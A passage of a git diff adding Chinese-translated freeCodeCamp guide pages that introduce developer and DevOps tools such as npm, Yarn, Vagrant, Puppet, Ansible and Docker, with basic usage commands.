+默认情况下，gulp将同时运行所有定义的任务并等待一切。要以正确的顺序运行多个任务，您可以将任务作为依赖项添加到另一个任务。
+
+```javascript
+gulp.task('two', ['one'], function() { 
+    // task 'one' is done now 
+ }); 
+```
+
+使用上面的代码片段，任务`two`将仅在任务`one`完成后运行。
+
+Gulpfiles每个文件可以有多个任务，任务也可以分成多个文件供组织使用。这与100个可用的插件一起使它成为JavaScript开发人员非常灵活和有用的框架。
+
+#### 更多信息：
+
+[Gulp网站](https://gulpjs.com/)
+
+[Gulp github存储库](https://github.com/gulpjs/gulp)
+
+[Gulp begginers指南](https://css-tricks.com/gulp-for-beginners/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/ide-integrated-development-environments/index.md b/client/src/guide/chinese/developer-tools/ide-integrated-development-environments/index.md
new file mode 100644
index 0000000000..4323d29f87
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/ide-integrated-development-environments/index.md
@@ -0,0 +1,23 @@
+---
+title: Integrated Development Environments (IDEs)
+localeTitle: 集成开发环境（IDE）
+---
+## 集成开发环境（IDE）
+
+集成开发环境（IDE）是一种软件，它整合了开发人员在一个应用程序中编写和测试软件所需的基本工具。
+
+IDE提供了一个中央图形用户界面（GUI），其中包含以下内容： _代码编辑器，编译器或解释器，调试器和构建自动化工具。_
+
+IDE的示例是：
+
+*   [NetBeans的](https://netbeans.org/)
+*   [日食](https://www.eclipse.org/)
+*   [IntelliJ IDEA](https://www.jetbrains.com/idea/)
+*   [视觉工作室](https://www.visualstudio.com/vs/)
+*   [Xcode中](https://developer.apple.com/xcode/)
+*   [Android Studio](https://developer.android.com/studio/index.html)
+*   [PyCharm](https://www.jetbrains.com/pycharm/)
+
+#### 更多信息
+
+[AppSec知识库](https://www.veracode.com/security/integrated-development-environments) [Eclipse.org](https://www.eclipse.org/home/) - 一个由工具，项目和协作工作组组成的开源社区 [顶级IDE：51个功能强大的开发环境，可通过Stackify进行简化开发](https://stackify.com/top-integrated-developer-environments-ides/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/index.md b/client/src/guide/chinese/developer-tools/index.md
new file mode 100644
index 0000000000..101fe88d08
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/index.md
@@ -0,0 +1,14 @@
+---
+title: Developer Tools
+localeTitle: 开发者工具
+---
+## 开发者工具
+
+在本节中，我们将解释开发人员使用的各种工具。
+
+这些工具的一些示例：
+
+*   版本控制系统
+*   DevOps工具
+*   构建工具
+*   包管理员
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/kubernetes/index.md b/client/src/guide/chinese/developer-tools/kubernetes/index.md
new file mode 100644
index 0000000000..ff8f13c285
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/kubernetes/index.md
@@ -0,0 +1,17 @@
+---
+  title: kubernetes
+localeTitle: kubernetes
+---
+# Kubernetes
+
+“Kubernetes是自动化部署，缩放和集装箱applications.It组的容器组成一个应用分成，方便管理和发现逻辑单元管理的开源系统。1”
+
+### 链接：
+
+*   [GitHub上的Kubernetes](https://github.com/kubernetes/kubernetes)
+*   [Kubernetes网站](https://kubernetes.io)
+*   [Kubernetes教程](https://kubernetes.io/docs/tutorials/kubernetes-basics/)
+
+### 资料来源：
+
+*   The Kubernetes Authors，2017，kubernetes.io。 2017年10月27日访问。
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/lets-encrypt/index.md b/client/src/guide/chinese/developer-tools/lets-encrypt/index.md
new file mode 100644
index 0000000000..9b07b6df81
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/lets-encrypt/index.md
@@ -0,0 +1,17 @@
+---
+title: Let's Encrypt
+localeTitle: 我们加密吧
+---
+## 我们加密吧
+
+我们的加密是免费使用证书颁发机构。大多数浏览器都支持并信任Let的加密证书。通过HTTPS为您的站点提供服务并让浏览器信任该站点需要CA证书。
+
+开始使用Let's Encrypt的最简单方法是使用[certbot](https://certbot.eff.org/) ，这是一款流行的Let's Encrypt客户端，可帮助您轻松部署和维护SSL证书。我们的加密证书设置为在90天后过期，并且可以随时续订。 90天可能看起来很短，但像certbot这样的客户可以帮助您自动更新证书。
+
+除了certbot之外，还有许多Let's Encrypt [客户端](https://letsencrypt.org/docs/client-options/) ，因此您可以在服务器上轻松实现Let's Encrypt。
+
+如果您托管的是VPS /专用服务器，则无需担心Let Encrypt支持。但是，如果你是一个共享的主机计划，你的主机必须有让我们加密[具体](https://community.letsencrypt.org/t/web-hosting-who-support-lets-encrypt/6920)明确的规定。
+
+#### 更多信息：
+
+https://letsencrypt.org/ 我们的加密是一个免费，自动化和开放的证书颁发机构。 https://community.letsencrypt.org/t/web-hosting-who-support-lets-encrypt/6920 支持Let's Encrypt的共享主机列表。 https://letsencrypt.org/docs/client-options/ Let的加密客户端列表。
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/markdown/index.md b/client/src/guide/chinese/developer-tools/markdown/index.md
new file mode 100644
index 0000000000..8f0c299c6c
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/markdown/index.md
@@ -0,0 +1,15 @@
+---
+title: Markdown
+localeTitle: 降价
+---
+## 降价
+
+Markdown是一种具有纯文本格式语法的轻量级标记语言。它的设计使其可以使用相同名称的工具转换为HTML和许多其他格式。 Markdown通常用于格式化README文件，用于在在线论坛中编写消息，以及使用纯文本编辑器创建富文本。您还可以在文本编辑器中编写Markdown（如Sublime Text或Visual Studio Code）。 Markdown通过精简，“无分心”文本编辑器的出现而获得了知名度和知名度。
+
+## 更多信息：
+
+学习单是学习Markdown最简单的方法之一。看看[这个流行的备忘单](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet) 。
+
+您还可以查看此在线教程： [Markdown Tutorial](https://www.markdowntutorial.com)
+
+喜欢通过视频学习？看看[这个Youtube视频](https://www.youtube.com/watch?v=HndN6P9ke6U)
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/npm-cheatsheet/index.md b/client/src/guide/chinese/developer-tools/npm-cheatsheet/index.md
new file mode 100644
index 0000000000..d7937d22c9
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/npm-cheatsheet/index.md
@@ -0,0 +1,106 @@
+---
+title: npm Cheat Sheet
+localeTitle: npm备忘单
+---
+## npm备忘单
+
+帮助使用`npm`的终端命令和标志列表
+
+## 安装`package.json`依赖项
+
+```shell
+npm install 
+```
+
+**速记**
+
+```shell
+# install 
+ npm i <package> 
+ # uninstall 
+ npm un <package> 
+ # update 
+ npm up <package> 
+```
+
+## 列出全局安装的包。
+
+```shell
+npm list -g --depth=0 
+```
+
+## 卸载全局包
+
+```shell
+npm -g uninstall <name> 
+```
+
+## 在Windows上升级NPM
+
+在Windows上尝试多次升级npm之后，我发现了这一点，同时在npm文件夹中进行了调整。
+
+```shell
+npm-windows-upgrade 
+```
+
+## 更新全局包
+
+要查看哪些软件包需要更新，请使用：
+
+```shell
+npm outdated -g --depth=0 
+```
+
+要单独更新全局包，您可以使用：
+
+```shell
+npm update -g <package> <package> <package> 
+```
+
+## 列出要运行的可用脚本
+
+```shell
+npm run 
+```
+
+## 更新npm
+
+```shell
+npm install -g npm@latest 
+ # using windows? Then use 
+ npm-windows-upgrade 
+```
+
+## 旗
+
+`-S`相同`--save`不是NPM需要5+ `-D`与`--save-dev`相同
+
+## 安装版
+
+```shell
+npm list # for local packages 
+```
+
+## 节点版本管理器`nvm`
+
+假设您要安装将在终端上编写的Node v6.9.1：
+
+```shell
+nvm install 6 
+```
+
+如果您的工作区上安装了多个版本的Node.js，则可以通过编写以下内容切换到特定版本：
+
+```shell
+nvm use 4.8.4 
+```
+
+### 使节点版本默认。
+
+要为工作区设置节点的默认版本，只需键入：
+
+```shell
+nvm alias default 6 
+```
+
+其中6是您希望用作默认版本的版本。
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/npm/index.md b/client/src/guide/chinese/developer-tools/npm/index.md
new file mode 100644
index 0000000000..ff9c8b2c56
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/npm/index.md
@@ -0,0 +1,46 @@
+---
+title: npm
+localeTitle: ASL
+---
+## NPM
+
+npm是一个包管理器，用于安装和管理依赖项。
+
+npm是充满活力的JavaScript（特别是Node.js）社区的核心，通过使项目的模块和代码可重用性非常简单。 目前，npm拥有超过500,000个可用包。
+
+npm不仅适用于服务器端项目。最受欢迎的前端库如Bootstrap和Font Awesome也可用。
+
+**注意：**
+
+*   npm是开箱即用的Node.js所以有必要先安装Node.js
+*   npm没有完整的表单，因为它超出了Node.js特定的项目。它以前称为节点包管理器。
+
+### npm用法
+
+npm通常在命令行中使用。下面给出的命令可以说是让您入门的最重要的命令：
+```
+npm init 
+```
+
+在项目的根目录中运行此命令会通过创建`package.json`文件将其初始化以与npm一起使用。系统将提示您输入 项目的名称，描述，作者姓名等。然后使用此信息填充`package.json`文件，该文件也将保存 有关项目依赖性和要求的信息。您可以稍后手动更改该信息。
+```
+npm install [name-of-package] 
+```
+
+这会自动安装包及其所有依赖项，并将其保存在`package.json`文件中。如果要安装开发依赖项， 你可能想使用`--save-dev`或`-D`开关。然后，npm将把包保存为开发依赖项。
+
+软件包本地安装在项目根目录的`node_modules`目录中。有时你可能想要一个可用的包 不同的项目。这是通过`--global`或`-g`开关完成的。这通常对开发工具和命令行实用程序很有用。
+```
+npm install 
+```
+
+在没有特定包名的项目根目录中运行npm install，安装该项目所需的所有依赖项。那些是 根据项目的`package.json`文件计算。这展示了npm的强大功能，其中单个命令可以获取数十或数百个 例如，当您`git clone`存储库时，它会自动为您提供依赖关系。
+
+#### 更多信息：
+
+*   Node.js网站： [nodejs](https://nodejs.org)
+*   npm的官方网站，您可以阅读有关npm以及搜索不同的可用软件包： [npmjs](https://www.npmjs.com)
+*   阅读更多关于npm： [维基百科的信息](https://en.wikipedia.org/wiki/Npm_(software))
+*   npm的初学者指南： [sitepoint](https://www.sitepoint.com/beginners-guide-node-package-manager/)
+*   如果您想要一个全面的视频系列，请查看： [youtube](https://youtu.be/6fj0cpmMiVg)
+*   这是来自npm的官方系列： [youtube](https://youtu.be/pa4dc480Apo)
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/puppet/index.md b/client/src/guide/chinese/developer-tools/puppet/index.md
new file mode 100644
index 0000000000..10f954ec83
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/puppet/index.md
@@ -0,0 +1,53 @@
+---
+title: Puppet
+localeTitle: 木偶
+---
+## 木偶
+
+Puppet是一种配置管理工具，可让您自动配置和管理基础架构。这有助于您通过自动执行重复性任务并确保系统保持所需状态来节省时间。
+
+Puppet有两个品种，Puppet Enterprise和开源Puppet。支持的平台包括大多数Linux发行版，各种UNIX平台和Windows。
+
+Puppet由[Puppet Labs开发](https://puppet.com/company) 。
+
+### 入门
+
+您可以在客户端/服务器体系结构或独立体系结构中配置基础结构。前者使用的木偶`agent`对日伪的`master`应用程序，而后者使用的木偶`apply` aplication。
+
+#### 代理/主建筑
+
+在此体系结构中，一个或多个节点运行Puppet主应用程序。主服务器控制整个基础架构的配置信息。
+
+受管节点将Puppet代理应用程序作为后台服务运行，并定期从Puppet主服务器请求其配置`catalog` 。
+
+Puppet master使用多个信息源编译并返回每个节点目录。这些收集的信息被称为`facts` 。
+
+一旦Puppet代理收到目录，它就会检查其中描述的每个资源。如果资源未处于所需状态，则代理会对其进行更正。
+
+#### 独立架构
+
+在此体系结构中，每个受管节点都具有完整配置的副本。
+
+每个Puppet代理都将apply应用程序作为计划任务或cron作业运行。
+
+与代理/主体架构一样，Puppet apply编译目录并检查每个描述的资源。如果资源未处于所需状态，Puppet apply将更正它。
+
+与Puppet主应用程序一样，Puppet apply需要访问多个配置数据源，它用于为其管理的节点编译目录。
+
+#### 目录
+
+目录是指定计算机配置的文档。它列出了需要管理的所有资源，它们所需的状态以及它们之间的任何依赖关系。
+
+Puppet通过首先编译catlog然后应用它来配置系统。
+
+#### 事实
+
+Puppet使用名为`facter`的工具收集有关所有节点的事实。 Facter收集配置系统所需的信息。例如，主机名，IP地址，操作系统名称等。但是，也可以添加其他事实。
+
+有关更多信息，请参阅Puppet体系结构的文档。
+
+#### 更多信息：
+
+*   木偶官方[网站](https://puppet.com)
+*   Puppet [架构](https://puppet.com/docs/puppet/5.3/architecture.html)概述
+*   如何使用Puppet管理您的服务器。 [DigitalOcean的](https://www.digitalocean.com/community/tutorial_series/how-to-use-puppet-to-manage-your-servers-2)一系列教程
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/source-code-editors/adding-snippets-to-your-sublime-text-installation/index.md b/client/src/guide/chinese/developer-tools/source-code-editors/adding-snippets-to-your-sublime-text-installation/index.md
new file mode 100644
index 0000000000..e4fd4533b6
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/source-code-editors/adding-snippets-to-your-sublime-text-installation/index.md
@@ -0,0 +1,36 @@
+---
+title: Adding Snippets to Your Sublime Text Installation
+localeTitle: 将片段添加到您的Sublime文本安装
+---
+如果你是一个崇高文本的用户（我希望你是，它踢屁股。你可以[在这里](https://www.sublimetext.com/)得到它），那么你可能已经注意到了一些标签完成功能。例如，当您打开html标记（例如`<p>` ，它会在您键入`/`时自动关闭标记。您可以为最终重写的代码片段获得类似的功能，这非常简单！
+
+这是一个示例，在键入`div`然后选项卡后激活：
+
+![替代文字](//discourse-user-assets.s3.amazonaws.com/original/2X/5/59a4d233d2dcb17b76a9c36ca30c5bb07a35d00b.png)
+
+## 步骤1。
+
+单击导航栏中的“ `Tools > New Snippet...` ”。这将打开一个片段骨架文件，如下所示：
+
+![替代文字](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a56106fbf754f7e641342d1ebdbc3f5bed582263.png)
+
+## 第2步。
+
+您将通过替换文本`Hello, ${1:this} is a ${2:snippet}.`来添加代码段`Hello, ${1:this} is a ${2:snippet}.`
+
+对于`div`代码段，它就像在代码段区域中放置以下文本一样简单：
+```
+<!-- $1 --> 
+ <div class= "$1"> 
+ 
+ </div> 
+ <!-- $1 --> 
+```
+
+`$`运算符引用一旦键入`div`然后选项卡将输入的变量。事实上，你可以拥有任意数量的！
+
+## 第3步。
+
+保存文件。你可以给它任何你想要的文件名，但扩展名**必须**是`.sublime-snippet` 。请记住，每个文件只能有一个代码段！我喜欢给他们描述性名称，例如`html-div.sublime-snippet` 。
+
+你有它！您可以随心所欲地获得创意。
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/source-code-editors/index.md b/client/src/guide/chinese/developer-tools/source-code-editors/index.md
new file mode 100644
index 0000000000..8899db3ee4
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/source-code-editors/index.md
@@ -0,0 +1,68 @@
+---
+title: Source Code Editors
+localeTitle: 源代码编辑
+---
+## 源代码编辑
+
+源代码编辑器是允许代码创建的程序  
+编辑。任何文本编辑器都可用于编写代码。但专用代码  
+编辑提供了许多有用的功能，包括：文本完成，  
+标记着色，以及用于并排编辑的选项卡/窗格。这些功能可以  
+即使对那些不了解所有人的新用户也很有用  
+高级选项。
+
+### 选择一个编辑器
+
+有许多编辑可供下载或使用  
+在线，有偿和免费。它们提供了许多相同的核心功能，但是  
+每个都有自己的细微差别。进一步的研究可能有助于找到那个  
+适合你。以下编辑器都是跨平台的  
+免费使用或评估。
+
+### 崇高的文字
+
+![崇高的文本图标](https://logo.clearbit.com/sublimetext.com)
+
+Sublime Text是一个非常受欢迎的编辑器， [自2008年以来](https://www.sublimetext.com/blog/articles/one-point-oh)一直存在。有许多选项和[扩展](https://packagecontrol.io/)可用，很多[可用的帮助下](http://stackoverflow.com/search?q=sublime+text)在网上帮[其设置](http://www.websightdesigns.com/wiki/Setting_up_Sublime_Text_3) 。 （继续使用的许可费用为70美元。但是，Sublime Text可以免费下载和评估，并带有唠叨屏幕弹出窗口。）
+
+[sublimetext.com](https://www.sublimetext.com/)
+
+![Sublime Text截图](//discourse-user-assets.s3.amazonaws.com/original/2X/6/63f774c31a7b1a439bcef9d11e95463b6998310e.png)
+
+### 括号
+
+![括号图标](https://logo.clearbit.com/brackets.io)
+
+Brackets是Adobe的一个相对较新的开源编辑器。它非常用户友好，特别是对于不习惯命令行界面或JSON样式设置/优先级的人。通过Extension Manager可以快速轻松地查找和安装扩展和主题。
+
+[brackets.io](http://brackets.io/)
+
+![Brackets截图](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2f395a58d24ed551ed8440a10ae640777f1143b6.png)
+
+### 原子
+
+![原子图标](https://logo.clearbit.com/atom.io)
+
+Atom是一个由[GitHub](https://github.com/)开发的[开源](https://github.com/atom/atom)编辑器。像Sublime Text一样，Atom很受欢迎。它是非常可配置的（正如他们所说的那样“可攻击”），但高级功能对于新用户来说可能是压倒性的。网上还有大量[有用的](http://readwrite.com/2014/05/20/github-atom-5-tips-getting-started-tutorial-corey-johnson/) [文档](http://flight-manual.atom.io/) [可供使用](http://stackoverflow.com/search?q=atom) 。
+
+[atom.io](https://atom.io/)
+
+![Atom截图](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8016e7c0937e8ce6fcb6104c9aee0026443912f5.png)
+
+### Visual Studio代码
+
+![Visual Studio代码图标](https://logo.clearbit.com/code.visualstudio.com)
+
+Visual Studio Code（又名vsc或vscode）是一个非常流行的开源编辑器，由[Microsoft](https://www.microsoft.com)开发，并迅速被所有语言的开发人员广泛使用。与Atom和Sublime一样，Visual Studio Code提供了广泛的[扩展](https://marketplace.visualstudio.com/VSCode)和[主题，](https://marketplace.visualstudio.com/search?target=VSCode&category=Themes&sortBy=Downloads)可帮助您定制和完善使用它的体验，但VSC是高度可配置的“开箱即用”。 VSCode背后还有一个非常活跃的开发团队，每个月Visual Studio Code团队[都会](https://code.visualstudio.com/updates)添加新功能和错误修复。
+
+[code.visualstudio.com](https://code.visualstudio.com/)
+
+＆bnsp;
+
+### 记事本+ +
+
+![记事本++图标](https://upload.wikimedia.org/wikipedia/commons/0/0f/Notepad%2B%2B_Logo.png)
+
+Notepad ++是一个免费的开源代码编辑器，可在Microsoft Windows环境中运行。它由Dan Ho于2003年开发。它是用[C ++](www.cplusplus.com)编写的（名称来自于此）。 Notepad ++支持选项卡式编辑，允许在单个窗口中处理多个打开的文件，也可以用作纯文本编辑器。
+
+[notepad-plus-plus.org](https://notepad-plus-plus.org)
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/vagrant/index.md b/client/src/guide/chinese/developer-tools/vagrant/index.md
new file mode 100644
index 0000000000..c6576c1ec5
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/vagrant/index.md
@@ -0,0 +1,68 @@
+---
+title: Vagrant
+localeTitle: 流浪汉
+---
+## 流浪汉
+
+Vagrant是用于构建和管理虚拟机（VM）环境的工具。虚拟机可用于任何原因，但对开发人员和DevOps特别有用。
+
+### 为什么流浪汉很有用
+
+作为开发人员，通过使用VM，您可以拥有用于测试代码的本地环境，该环境与生产环境相同，无论您用于编码的环境如何。
+
+对于DevOps，VM非常有用，可用于测试基础设施，配置，脚本或其他任何内容的高度可配置的一次性机器。
+
+使用Vagrant，要使用VM，您只需要一个名为`VagrantFile`文件，其中包含VM以及所需的所有配置。通过这种方式，您可以轻松创建一个特定的，独立的开发环境，该环境非常便于携带，并且可以由团队的所有成员共享和使用。
+
+Vagrant还有预定义的`boxes` ，它们是基本的VM，可以很容易地克隆和扩展。
+
+Vagrant的另一个非常酷的功能是使用`synced folders` 。可以将VM的文件夹与来宾计算机中的文件夹同步。通过这样做，您可以在本地文件上使用您喜欢的编辑器，同时将这些文件同步到正在运行的VM。
+
+#### 更多信息：
+
+[流浪汉网站](https://www.vagrantup.com/)
+
+### 安装Vagrant
+
+要安装Vagrant，请先找到[适合](https://www.vagrantup.com/downloads.html)您系统的[软件包](https://www.vagrantup.com/downloads.html)并下载。 Vagrant被打包为特定于操作的包。运行系统的安装程序。安装程序会自动将vagrant添加到您的系统路径，以便它可以在终端中使用。如果找不到，请尝试注销并重新登录系统（对于Windows，这有时尤为必要）。
+
+### 验证安装
+
+安装Vagrant后，通过打开新的命令提示符或控制台并检查该vagrant是否可用来验证安装是否有效：
+
+```bash
+$ vagrant 
+ Usage: vagrant [options] <command> [<args>] 
+ 
+    -v, --version                    Print the version and exit. 
+    -h, --help                       Print this help. 
+ 
+ # ... 
+```
+
+### 入门
+
+```bash
+$ vagrant init hashicorp/precise64 
+ $ vagrant up 
+```
+
+### 盒
+
+盒子被添加到Vagrant与vagrant box add。这会将该框存储在特定名称下，以便多个Vagrant环境可以重复使用它。如果您还没有添加盒子，现在可以这样做：
+
+```bash
+$ vagrant box add hashicorp/precise64 
+```
+
+### 寻找更多的盒子
+
+找到更多盒子的最佳位置是[HashiCorp的Vagrant Cloud盒子目录](https://vagrantcloud.com/boxes/search) 。
+
+### 共同
+
+Youtube： [Codecourse的](https://www.youtube.com/user/phpacademy) [Vagrant入门](https://www.youtube.com/watch?v=LyIyyFDgO4o)
+
+#### 更多信息：
+
+Vagrant网站： [vagrantup.com](https://www.vagrantup.com)
\ No newline at end of file
diff --git a/client/src/guide/chinese/developer-tools/yarn/index.md b/client/src/guide/chinese/developer-tools/yarn/index.md
new file mode 100644
index 0000000000..52fd3ad272
--- /dev/null
+++ b/client/src/guide/chinese/developer-tools/yarn/index.md
@@ -0,0 +1,78 @@
+---
+title: Yarn
+localeTitle: 纱
+---
+## 纱
+
+Yarn是代码的包管理器。它允许您与来自世界各地的其他开发人员一起使用和共享代码。 Yarn可以快速，安全，可靠地完成这项工作，因此您无需担心项目的依赖性。
+
+Yarn允许您使用其他开发人员的解决方案来解决不同的问题，使您可以更轻松地开发软件。如果您遇到问题，可以报告问题或回馈问题，并且在问题得到解决后，您可以使用Yarn将其保持最新状态。
+
+代码通过称为包（有时称为模块）的东西共享。包中包含所有共享的代码以及描述包的package.json文件。
+
+要使用纱线，您必须先将其安装在您的系统上。本文末尾有链接可帮助您在任何操作系统中执行此操作。
+
+安装Yarn后，即可开始使用它。以下是您需要的一些最常用的命令。
+
+### 纱线用法
+
+**开始一个新项目**
+```
+yarn init 
+```
+
+`yarn init`命令将打开一个用于创建纱线项目的交互式表单。 `yarn init`创建一个`package.json`文件，用于存储有关项目的信息。此交互式表单将打开以下问题：
+```
+name (your-project): 
+ version (1.0.0): 
+ description: 
+ entry point (index.js): 
+ git repository: 
+ author: 
+ license (MIT): 
+```
+
+您可以键入每个选项的答案，也可以直接按Enter键而不键入任何内容以使用默认值或留空。如果需要，您可以随时进入您喜欢的文本编辑器来更改`package.json`文件。
+
+您的`package.json`文件应该类似于：
+```
+{ 
+  "name": "your-new-project", 
+  "version": "1.0.0", 
+  "description": "A description of your new project.", 
+  "main": "index.js", 
+  "repository": { 
+    "url": "https://github.com/your-username/your-new-project", 
+    "type": "git" 
+  }, 
+  "author": "Your Name <your_name@example.com>", 
+  "license": "MIT" 
+ } 
+```
+
+**添加依赖项**
+```
+yarn add [package] 
+```
+
+**升级依赖项**
+```
+yarn upgrade [package] 
+```
+
+**删除依赖项**
+```
+yarn remove [package] 
+```
+
+**安装项目的所有依赖项**
+```
+yarn install 
+```
+
+#### 更多信息：
+
+*   [纱线网站](https://yarnpkg.com)
+*   [纱线文件](https://yarnpkg.com/en/docs)
+*   [安装纱线](https://yarnpkg.com/en/docs/install)
+*   [纱线vs npm](https://www.pluralsight.com/guides/node-js/yarn-a-package-manager-for-node-js)
\ No newline at end of file
diff --git a/client/src/guide/chinese/devops/ansible/index.md b/client/src/guide/chinese/devops/ansible/index.md
new file mode 100644
index 0000000000..20f57b6e56
--- /dev/null
+++ b/client/src/guide/chinese/devops/ansible/index.md
@@ -0,0 +1,67 @@
+---
+title: Ansible
+localeTitle: Ansible
+---
+## Ansible
+
+Ansible是一个易于使用的自动化工具。 Ansible可用于自动化部署，更新，安全性，系统管理，容器配置等。配置文件易于管理用简单英语编写的YAML文件。安装很简单，由于其Master-Push格式，远程机器上不需要代理。与远程机器的通信是通过SSH进行的。
+
+### 在Ubuntu服务器14.04或更高版本上安装
+
+建议在Ubuntu服务器上通过Ansible PPA进行安装。
+
+首先确保您的系统是最新的。
+```
+$ sudo apt-get update 
+ $ sudo apt-get upgrade 
+```
+
+接下来，您需要将以下包添加到系统中
+```
+$ sudo apt-get install software-properties-common 
+```
+
+将ppa：ansible / ansible添加到您的系统中
+```
+$ sudo apt-add-repository ppa:ansible/ansible 
+```
+
+再次更新您的回购
+```
+$ sudo apt-get update 
+```
+
+将代码部署到生产中（到实际站点）通常涉及几个步骤。随着您的站点/应用程序/ Web应用程序变得越来越大，越来越复杂，步骤数也会增加。
+
+解决方案是自动部署。自动化以脚本的形式出现，作为一组指令（就像所有代码一样）概述了每个步骤。
+
+Ansible是一种自动化工具，通常用于如上所述的部署，但越来越多地用于其他复杂的自动化。
+
+它使用一种名为[YAML](https://en.wikipedia.org/wiki/YAML)的语言，它允许您描述接近普通英语的示例，正​​如您在Ansible模块示例中所看到的：
+
+```YAML
+--- 
+ - yum: name={{contact.item}} state=installed 
+ with_items: 
+ - app_server 
+ - acme_software 
+ 
+ 
+ - service: name=app_server state=running enabled=yes 
+```
+
+最后，安装包
+```
+$ sudo apt-get install ansible 
+```
+
+使用Ansible的一个显着好处是它默认使用SSH（Secure SHell），并且模块可以驻留在不需要服务器，守护进程或数据库的任何机器（计算机）上。
+
+Ansible的真正力量在于使用剧本。在[Ansible的官方文档](https://docs.ansible.com/ansible/latest/index.html)中阅读有关[Ansible的](https://docs.ansible.com/ansible/latest/index.html)配置和使用的更多信息。
+
+Ansible模块，是小型任务特定程序。一旦它们用于预期目的，例如运行部署脚本，Ansible就会删除这些模块。
+
+#### 更多信息：
+
+*   [详细了解Ansible的工作原理](https://www.ansible.com/how-ansible-works/)
+*   [Ansible文档](http://docs.ansible.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/devops/azure/index.md b/client/src/guide/chinese/devops/azure/index.md
new file mode 100644
index 0000000000..709c3d5037
--- /dev/null
+++ b/client/src/guide/chinese/devops/azure/index.md
@@ -0,0 +1,22 @@
+---
+title: Azure DevOps
+localeTitle: Azure DevOps
+---
+## Azure DevOps
+
+Azure DevOps Services是一种用于协作开发代码的云服务。它提供了一组集成的功能，您可以通过Web浏览器或IDE客户端访问这些功能，包括：
+
+*   用于代码源代码控制的Git存储库
+*   构建和发布管理，以支持应用程序的持续集成和交付
+*   敏捷工具，支持使用看板和Scrum方法规划和跟踪您的工作，代码缺陷和问题
+*   各种测试应用程序的工具，包括手动/探索性测试，负载测试和连续测试
+*   高度可定制的仪表板，用于分享进度和趋势
+*   内置维基，可与您的团队共享信息
+
+此外，Azure DevOps生态系统还支​​持添加扩展，与其他流行服务集成，例如：Campfire，Slack，Trello，UserVoice等，并开发自己的自定义扩展。
+
+如果您想要快速设置，免维护操作，跨域轻松协作，弹性规模和坚如磐石的安全性，请选择Azure DevOps Services。您还可以访问云负载测试，云构建服务器和应用程序洞察。
+
+### 资源
+
+*   [Microsoft Azure - Azure DevOps](https://azure.microsoft.com/services/devops)
\ No newline at end of file
diff --git a/client/src/guide/chinese/devops/chef/index.md b/client/src/guide/chinese/devops/chef/index.md
new file mode 100644
index 0000000000..2afefff71d
--- /dev/null
+++ b/client/src/guide/chinese/devops/chef/index.md
@@ -0,0 +1,13 @@
+---
+title: Chef Server
+localeTitle: 头服务器
+---
+## 厨师服务器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/devops/ansible/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+[厨师服务器文档](https://docs.chef.io)
\ No newline at end of file
diff --git a/client/src/guide/chinese/devops/docker/index.md b/client/src/guide/chinese/devops/docker/index.md
new file mode 100644
index 0000000000..ec436d84a4
--- /dev/null
+++ b/client/src/guide/chinese/devops/docker/index.md
@@ -0,0 +1,188 @@
+---
+title: Docker
+localeTitle: 搬运工人
+---
+## 搬运工人
+
+Docker是一个基于Linux容器的开源项目。它使用Linux内核功能（如命名空间和控制组）在操作系统之上创建容器。
+
+Docker使用容器（图像的运行时实例）来创建可以轻松构建，发布和运行应用程序的环境。主要的好处是Docker容器默认情况下与主机环境完全隔离，只有在配置时才访问主机文件和端口。这是通常资源密集型的虚拟机（VM）的绝佳替代方案。虚拟机磁盘映像和应用程序状态是操作系统设置，系统安装的依赖关系，操作系统安全补丁以及其他容易丢失，难以复制的ephemera的纠缠。
+
+Docker是一种执行操作系统级虚拟化的计算机程序，也称为“容器化”。
+
+Docker是开发人员和系统管理员使用容器开发，部署和运行应用程序的平台。使用Linux容器部署应用程序称为容器化。容器不是新的，但它们用于轻松部署应用程序。
+
+容器化越来越受欢迎，因为容器是：
+
+*   灵活：即使是最复杂的应用也可以集装箱化。
+*   轻量级：容器利用并共享主机内核。
+*   可互换：您可以即时部署更新和升级。
+*   便携式：您可以在本地构建，部署到云，并在任何地方运行。
+*   可扩展：您可以增加并自动分发容器副本。
+*   可堆叠：您可以垂直和即时堆叠服务。
+
+适用于[Mac的](https://docs.docker.com/docker-for-mac/install/)安装
+
+适用于[Windows的](https://docs.docker.com/docker-for-windows/install/)安装
+
+安装[Ubuntu](https://docs.docker.com/install/linux/docker-ce/ubuntu/)
+
+_所有这些链接都适用于Docker CE（社区版）_
+
+* * *
+
+## 测试Docker版本
+
+要测试应用程序是否运行良好，请运行：
+```
+docker --version 
+```
+
+确保您有一个如下所示的输出：
+```
+Docker version 18.06.1-ce, build e68fc7a 
+```
+
+* * *
+
+## 测试Docker安装
+
+通过运行简单的Docker镜像hello-world来测试您的安装是否有效：
+```
+docker run hello-world 
+ 
+ Unable to find image 'hello-world:latest' locally 
